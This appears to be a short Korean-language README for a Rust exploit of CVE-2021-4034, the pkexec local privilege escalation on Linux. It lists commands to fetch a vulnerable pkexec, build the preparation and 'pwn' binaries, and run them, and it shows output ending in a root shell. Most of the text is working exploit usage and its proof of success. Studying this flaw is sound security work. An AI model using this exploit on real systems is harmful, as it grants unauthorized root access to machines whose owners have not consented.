
Rust로 구현된 CVE-2021-4034 pkexec 권한 상승 익스플로잇으로, 테스트를 위해 취약한 pkexec를 다운로드하고 압축 해제하는 스크립트를 포함합니다.
https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c 기반
$ ./download-and-unpack-vulnerable-pkexec.sh
*선택적으로 테스트를 위해 setuid/setgid 활성화*
$ cargo run --bin prep && cd playground && cargo run --bin pwn
Finished dev [unoptimized + debuginfo] target(s) in 0.00s
Running `target/debug/prep`
Finished dev [unoptimized + debuginfo] target(s) in 0.00s
Running `/home/defhacks/hack/cve-2021-4034/target/debug/pwn`
gconv() called
sh-5.1# /bin/id
uid=0(root) gid=1000(defhacks) groups=1000(defhacks)
sh-5.1#